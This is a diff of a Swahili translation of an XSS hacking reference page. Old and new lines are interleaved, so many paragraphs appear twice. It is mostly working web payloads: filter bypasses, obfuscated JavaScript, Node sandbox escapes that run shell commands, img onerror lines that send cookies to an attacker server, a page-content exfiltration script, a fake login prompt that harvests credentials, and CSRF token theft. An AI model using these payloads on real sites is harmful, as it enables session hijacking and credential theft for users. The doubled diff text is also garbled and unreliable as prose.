||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo chini ya kichwa chenye kipengele cha onmouseover), unaweza **kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo kufanya kazi.
|
||||
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye chini ya ukurasa na kipengele cha onmouseover), unaweza **kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanya kazi.
|
||||
|
||||
Kwa mfano, unaweza kuongeza mtindo fulani kwenye kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Kwa mfano, unaweza kuongeza mitindo fulani kwenye kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Lakini, ikiwa WAF inachuja sifa ya mtindo, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano
|
||||
|
||||
|
@ -465,19 +466,19 @@ Hila hii ilitolewa kutoka [https://medium.com/@skavans\_/improving-the-impact-of
|
|||
|
||||
## Kuingiza ndani ya nambari ya JavaScript
|
||||
|
||||
Katika kesi hizi **kuingiza** yako itakuwa **inajitokeza ndani ya nambari ya JS** ya faili ya `.js` au kati ya `<script>...</script>` lebo au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
Katika kesi hizi **kuingiza** yako itakuwa **inajitokeza ndani ya nambari ya JS** ya faili ya `.js` au kati ya lebo za `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza nambari ya JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
|
||||
|
||||
### Kuepuka lebo ya \<script>
|
||||
|
||||
Ikiwa nambari yako imeingizwa ndani ya `<script> [...] var input = 'data inayojitokeza' [...] </script>` unaweza kwa urahisi **kuepuka kufunga lebo ya `<script>`**:
|
||||
Ikiwa nambari yako inaingizwa ndani ya `<script> [...] var input = 'data inayojitokeza' [...] </script>` unaweza kwa urahisi **kuepuka kufunga lebo ya `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Tafadhali elewa kwamba katika mfano huu **hatujafunga alama ya nukta moja**. Hii ni kwa sababu **uparaganyaji wa HTML unafanywa kwanza na kivinjari**, ambacho kinajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uparaganyaji wa JavaScript ili kuelewa na kutekeleza mistari iliyofungwa ndani ya script hufanyika baadaye.
|
||||
Tafadhali elewa kwamba katika mfano huu **hatujafunga alama ya nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML hufanywa kwanza na kivinjari**, ambao unahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vitalu vya script. Uchambuzi wa JavaScript kuelewa na kutekeleza mistari iliyofungwa hufanywa baadaye.
|
||||
|
||||
### Ndani ya msimbo wa JS
|
||||
|
||||
Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo mwingiliano wako uko **umejumuishwa** na **kutekeleza JS ya kiholela**. Ni muhimu **kurekebisha muundo wa JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
Ikiwa `<>` inasanitizwa bado unaweza **kutoroka kutoka kwa herufi** ambapo mwingiliano wako uko **umejumuishwa** na **kutekeleza JS ya kupindukia**. Ni muhimu **kurekebisha muundo wa JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -487,7 +488,7 @@ Ikiwa `<>` inasanitizwa unaweza bado **kutoroka kutoka kwa herufi** ambapo mwing
|
|||
|
||||
Ili kujenga **maneno** mbali na alama za nukta moja na mbili, JS pia inakubali **alama ya kurudi nyuma** **` `` `** . Hii inajulikana kama template literals kwani inaruhusu **kuweka JS expressions** kwa kutumia sintaksia `${ ... }`.
|
||||
|
||||
Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudi ndani ya neno la JS linalotumia alama ya kurudi nyuma, unaweza kutumia sintaksia `${ ... }` kutekeleza **michocheo ya JS isiyo na kikomo**:
|
||||
Kwa hivyo, ikiwa utagundua kuwa matokeo yako yanarudishwa ndani ya neno la JS linalotumia alama ya kurudi nyuma, unaweza kutumia sintaksia `${ ... }` kutekeleza **michocheo ya JS isiyo na kikomo**:
|
||||
|
||||
Hii inaweza **kutumiwa vibaya** kwa kutumia:
|
||||
```javascript
|
||||
|
@ -507,7 +508,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Kubadilisha Unicode JS utekelezaji
|
||||
### Kutekeleza JS kwa Kutumia Unicode
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -532,7 +533,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
|||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**Kutoroka Maalum**
|
||||
**Kutoroka maalum**
|
||||
```javascript
|
||||
'\b' //backspace
|
||||
'\f' //form feed
|
||||
|
@ -559,7 +560,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Mstari mpya wa JavaScript (kutoka** [**Mstari mpya wa JavaScript**](./#javascript-new-lines) **udanganyifu)**
|
||||
**Mstari mpya wa JavaScript (kutoka** [**Mstari mpya wa JavaScript**](./#javascript-new-lines) **hila)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -729,25 +730,47 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
## **Makosa ya DOM**
|
||||
## **Mazingira ya DOM**
|
||||
|
||||
Kuna **msimbo wa JS** ambao unatumia **data isiyokuwa salama inayodhibitiwa na mkaidi** kama vile `location.href`. Mkaidi, anaweza kutumia hii kutekeleza msimbo wa JS wa kupindukia.\
|
||||
**Kutokana na upanuzi wa maelezo ya** [**makosa ya DOM yalihama kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
Kuna **msimbo wa JS** unaotumia **data isiyodhibitiwa salama na mshambuliaji** kama vile `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza msimbo wa JS wa kiholela.\
|
||||
**Kutokana na upanuzi wa maelezo ya** [**Mazingira ya DOM vilivyovunjika vilisogezwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Huko utapata **maelezo ya kina kuhusu ni nini makosa ya DOM, yanachochochewa, na jinsi ya kuyatumia**.\
|
||||
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**mashambulizi ya DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
Huko utapata **maelezo ya kina kuhusu ni nini mazingira ya DOM vilivyovunjika, yanachochochea, na jinsi ya kuvitumia**.\
|
||||
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**Mashambulizi ya DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Njia Nyingine za Kupita
|
||||
### Kuboresha Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Ikiwa unaweza kusababisha XSS kwa kutuma mzigo ndani ya kuki, hii kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain inayoweza kuvunjika kwa XSS**, unaweza kutumia XSS hii kuingiza kuki katika uwanja mzima ukiweza kusababisha cookie XSS katika uwanja mkuu au subdomains nyingine (zile zinazoweza kuvunjika kwa cookie XSS). Kwa hili unaweza kutumia shambulio la kutupa kuki:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Unaweza kupata matumizi mazuri ya mbinu hii katika [**chapisho hili la blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Kutuma kikao chako kwa msimamizi
|
||||
|
||||
Labda mtumiaji anaweza kushiriki wasifu wake na msimamizi na ikiwa self XSS iko ndani ya wasifu wa mtumiaji na msimamizi anapata, atasababisha udhaifu huo.
|
||||
|
||||
### Kioo cha Kikao
|
||||
|
||||
Ikiwa unapata baadhi ya self XSS na ukurasa wa wavuti una **kioo cha kikao kwa waendeshaji**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa anaona unachoona katika kikao chako lakini kutoka kwa kikao chake.
|
||||
|
||||
Unaweza kufanya **msimamizi kusababisha self XSS yako** na kuiba kuki/kikao chake.
|
||||
|
||||
## Bypassing Nyingine
|
||||
|
||||
### Unicode iliyonormalishwa
|
||||
|
||||
Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinanormalishwa **kwa unicode** kwenye seva (au kwenye upande wa mteja) na kutumia hii kukiuka ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Unaweza kuangalia ikiwa **thamani zilizorudishwa** zinakuwa **zimenoramlishwa kwa unicode** kwenye seva (au kwenye upande wa mteja) na kutumia hii kukiuka ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Kupita Kizuizi cha PHP FILTER\_VALIDATE\_EMAIL
|
||||
### Kizuizi cha bendera ya PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
|
@ -796,22 +819,22 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS na uingizaji wa kichwa katika jibu la 302
|
||||
|
||||
Ikiwa utagundua kuwa unaweza **kuingiza vichwa katika jibu la Kuelekeza 302** unaweza kujaribu **kuifanya kivinjari kutekeleza JavaScript ya ujanja**. Hii sio **jambo rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, kwa hivyo mzigo wa ujanja wa tovuti ni bure.
|
||||
Ikiwa utagundua kuwa unaweza **kuingiza vichwa katika jibu la Uelekezaji wa 302**, unaweza kujaribu **kuifanya kivinjari kutekeleza JavaScript ya kupindukia**. Hii sio **jambo rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimbo wa hali ya jibu la HTTP ni 302, kwa hivyo mzigo wa ujumbe wa kuvuka tovuti ni bure.
|
||||
|
||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii nyingine**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza jaribu itifaki kadhaa ndani ya kichwa cha Mahali na uone ikiwa yoyote kati yao inaruhusu kivinjari kutafuta na kutekeleza mzigo wa XSS ndani ya mwili.\
|
||||
Itifaki zilizojulikana hapo awali: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Mahali kilichojazwa_, `resource://`.
|
||||
Itifaki zilizojulikana hapo awali: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Mahali kilicho wazi_, `resource://`.
|
||||
|
||||
### Barua, Nambari na Dots Pekee
|
||||
|
||||
Ikiwa unaweza kuonyesha **wito wa** javascript utakao **tekelezwa** ukilimimtwa kwa wahusika hao tu. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili ujue jinsi ya kutumia tabia hii vibaya.
|
||||
Ikiwa unaweza kuonyesha **wito wa nyuma** ambao javascript ita**tekeleza** iliyopunguzwa kwa wahusika hao. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili ujue jinsi ya kutumia tabia hii.
|
||||
|
||||
### Aina za Yaliyomo ya `<script>` Zinazokubalika kwa XSS
|
||||
### Aina Halali za Yaliyomo `<script>` kwa XSS
|
||||
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia skripti na **aina ya yaliyomo** kama vile `application/octet-stream`, Chrome itatoa kosa lifuatalo:
|
||||
|
||||
> Imekataa kutekeleza skripti kutoka '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') kwa sababu aina yake ya MIME ('application/octet-stream') haiwezi kutekelezwa, na uchunguzi wa aina ya MIME ulio makini umewezeshwa.
|
||||
> Imekataa kutekeleza skripti kutoka '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') kwa sababu aina yake ya MIME ('application/octet-stream') haiwezi kutekelezwa, na uchunguzi wa aina ya MIME ulio kali umewezeshwa.
|
||||
|
||||
Aina pekee za **Yaliyomo** ambazo zitaisaidia Chrome kutekeleza **skripti iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Aina pekee za **Yaliyomo** ambazo zitasaidia Chrome kutekeleza **skripti iliyopakiwa** ni zile ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -835,14 +858,14 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Aina za Script za XSS
|
||||
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Kwa hivyo, aina zipi zinaweza kuashiria kupakia script?
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Kwa hivyo, aina zipi zinaweza kuashiriwa kwa kupakia script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
Jibu ni:
|
||||
|
||||
* **moduli** (chaguo-msingi, hakuna kitu cha kufafanua)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga kundi la data (HTML, CSS, JS...) pamoja katika faili ya **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles ni kipengele ambacho unaweza kufunga data nyingi (HTML, CSS, JS...) pamoja katika faili ya **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -869,7 +892,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/master/solution) kurekebisha maktaba kwa eval kuitumia kusababisha XSS.
|
||||
Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/master/solution) kurekebisha maktaba kwa eval ili kuitumia kusababisha XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki kimsingi ni kutatua baadhi ya matatizo yanayosababishwa na upyaishaji wa awali. Inafanya kazi kama ifuatavyo:
|
||||
```html
|
||||
|
@ -889,22 +912,22 @@ Hii tabia ilitumika katika [**makala hii**](https://github.com/zwade/yaca/tree/m
|
|||
```
|
||||
### Aina za Yaliyomo kwenye Wavuti kwa XSS
|
||||
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za yaliyomo zinaweza kutekeleza XSS kwenye vivinjari vyote:
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina za yaliyomo zifuatazo zinaweza kutekeleza XSS kwenye vivinjari vyote:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
* application/xml
|
||||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? sio kwenye orodha lakini nadhani nimeiona katika CTF)
|
||||
* text/plain (?? sio kwenye orodha lakini nadhani nimeona hii kwenye CTF)
|
||||
* application/rss+xml (lemaza)
|
||||
* application/atom+xml (lemaza)
|
||||
|
||||
Katika vivinjari vingine **`Aina za Yaliyomo`** zingine zinaweza kutumika kutekeleza JS ya ujanja, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Kwenye vivinjari vingine **`Aina za Yaliyomo`** zingine zinaweza kutumika kutekeleza JS ya kupindukia, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Aina ya Yaliyomo ya xml
|
||||
|
||||
Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya ujanja:
|
||||
Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha nafasi ya majina na kutekeleza JS ya kupindukia:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -912,13 +935,13 @@ Ikiwa ukurasa unarudisha aina ya yaliyomo ya text/xml, inawezekana kuonyesha naf
|
|||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Mifano Ma Kipekee ya Kubadilisha
|
||||
### Mifano Ma Kipekee ya Badiliko
|
||||
|
||||
Wakati kitu kama **`"baadhi ya {{template}} data".replace("{{template}}", <user_input>)`** inapotumika. Mshambuliaji anaweza kutumia [**mbadala maalum wa herufi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kujaribu kukiuka baadhi ya ulinzi: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Kwa mfano katika [**hii andishi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika kusafisha herufi ya JSON ndani ya script na kutekeleza nambari za aina yoyote.
|
||||
Kwa mfano katika [**hii andishi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika kwa **kusafisha herufi za JSON** ndani ya script na kutekeleza nambari za aina yoyote.
|
||||
|
||||
### Hifadhi ya Chrome kwa XSS
|
||||
### Akiba ya Chrome kwa XSS
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
|
@ -957,16 +980,16 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Ikiwa **kila kitu hakina ufafanuzi** kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika [**hii andishi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika:
|
||||
If **kila kitu hakina ufafanuzi** kabla ya kutekeleza nambari isiyosadikika (kama ilivyo katika [**hii andishi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) inawezekana kuzalisha vitu vya kutumika "kutoka hakuna" kwa kudhuru utekelezaji wa nambari isiyosadikika:
|
||||
|
||||
* Kutumia import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* Kupata ufikiaji wa `require` kwa njia isiyo ya moja kwa moja
|
||||
* Kupata `require` kwa njia isiyo ya moja kwa moja
|
||||
|
||||
[Kulingana na hili](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zinawekwa ndani ya Node.js ndani ya kazi, kama hivi:
|
||||
[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zinafungwa na Node.js ndani ya kazi, kama hivi:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -980,7 +1003,7 @@ Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza **kuita kazi nyingine**, ni rah
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa njia sawa na mfano uliopita, ni **inawezekana kutumia waokoaji wa makosa** kupata **mfuko** wa moduli na kupata kazi ya **`require`**:
|
||||
Kwa njia sawa na mfano uliopita, ni **inawezekana kutumia wachambuzi wa makosa** kupata **mfuko** wa moduli na kupata kazi ya **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1017,7 +1040,7 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Kupitisha ya Kitaalamu
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
* **Obfuscations tofauti kwenye ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
|
@ -1068,7 +1091,7 @@ Fanya mtumiaji anavige kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo
|
|||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Rudisha Vidakuzi
|
||||
### Kupata Vidakuzi
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1094,7 +1117,7 @@ Fanya mtumiaji anavige kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo
|
|||
Hutaweza **kupata upatikanaji wa vidakuzi kutoka JavaScript** ikiwa bendera ya HTTPOnly imewekwa kwenye kuki. Lakini hapa una [njia kadhaa za kuzidisha ulinzi huu](../hacking-with-cookies/#httponly) ikiwa una bahati ya kutosha.
|
||||
{% endhint %}
|
||||
|
||||
### Pora Yaliyomo ya Ukurasa
|
||||
### Pora Yaliyomo kwenye Ukurasa
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||||
var attacker = "http://10.10.14.8/exfil";
|
||||
|
@ -1176,7 +1199,7 @@ _Kipindi kifupi kinaashiria bandari inayojibu_ _Kipindi kirefu kinaashiria hakun
|
|||
|
||||
Pitia orodha ya bandari zilizopigwa marufuku kwenye Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) na kwenye Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Kisanduku cha kuuliza kwa ajili ya maelezo ya siri
|
||||
### Kisanduku cha kuuliza kwa siri za kuingia
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
@ -1191,16 +1214,11 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
### Kufuatilia Kibonyezo cha Kibodi
|
||||
### Keylogger
|
||||
|
||||
Nikitafuta kwenye github nilipata zingine tofauti:
|
||||
Kwa kuingiza data yoyote katika uga wa nenosiri, jina la mtumiaji na nenosiri hutumwa kwa seva ya mshambuliaji, hata kama mteja anachagua nenosiri lililohifadhiwa na hahitaji kuandika chochote, vyeti vitachukuliwa.
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* Unaweza pia kutumia metasploit `http_javascript_keylogger`
|
||||
|
||||
### Wizi wa Vitambulisho vya CSRF
|
||||
Changamoto ya CSRF
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -1281,9 +1299,9 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Pata Maudhui Yaliyofichwa
|
||||
### Regex - Kufikia Yaliyomo Yaliyofichwa
|
||||
|
||||
Kutoka [**hapa**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinaondoka kutoka JS, bado inawezekana kuzipata katika sifa za JS katika vitu tofauti. Kwa mfano, kuingiza REGEX bado inawezekana kuzipata baada ya thamani ya kuingiza ya regex kuondolewa:
|
||||
Kutoka [**hapa andika**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) ni sawa kujifunza kwamba hata kama baadhi ya thamani zinaondoka kutoka JS, bado ni sawa kuzipata katika sifa za JS katika vitu tofauti. Kwa mfano, kuingiza REGEX bado ni sawa kuzipata baada ya thamani ya kuingiza ya regex kuondolewa:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1298,11 +1316,11 @@ console.log(RegExp.input)
|
|||
console.log(RegExp.rightContext)
|
||||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||||
```
|
||||
### Orodha ya Kujaribu Nguvu
|
||||
### Orodha ya Kujaribu nguvu
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## Kutumia XSS kwa Kuchexploit Mapungufu Mengine
|
||||
## Kutumia XSS kwa udhaifu mwingine
|
||||
|
||||
### XSS katika Markdown
|
||||
|
||||
|
@ -1312,18 +1330,18 @@ Je! Unaweza kuingiza nambari ya Markdown ambayo itaonyeshwa? Labda unaweza kupat
|
|||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS kwa SSRF
|
||||
### XSS hadi SSRF
|
||||
|
||||
Je! Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha kuwa SSRF** kupitia Uingizaji wa Kando ya Edge Side kwa kutumia mzigo huu:
|
||||
Je! Umeona XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha kuwa SSRF** kupitia Uingizaji wa Kando ya Edge Side kwa kutumia mzigo huu:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Tumia hiyo kuki kudanganya vikwazo vya kuki, vichuja vya XSS na mengi zaidi!\
|
||||
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Tumia hiyo kuki kudanganya vikwazo vya kuki, vichujio vya XSS na mengi zaidi!\
|
||||
Maelezo zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS katika PDF iliyoundwa kwa njia ya kudumu
|
||||
|
||||
Ikiwa ukurasa wa wavuti unatengeneza PDF kwa kutumia kuingiza inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** ambayo inaunda PDF kutekeleza **msimbo wa JS wa kupindukia**.\
|
||||
Ikiwa ukurasa wa wavuti unazalisha PDF kwa kutumia kuingiza inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** ambayo inazalisha PDF kutekeleza **msimbo wa JS wa kupindukia**.\
|
||||
Kwa hivyo, ikiwa **boti ya muundaji wa PDF inapata** aina fulani ya **lebo za HTML**, itazitafsiri, na unaweza **kutumia** tabia hii kusababisha **XSS ya Seva**.
|
||||
|
||||
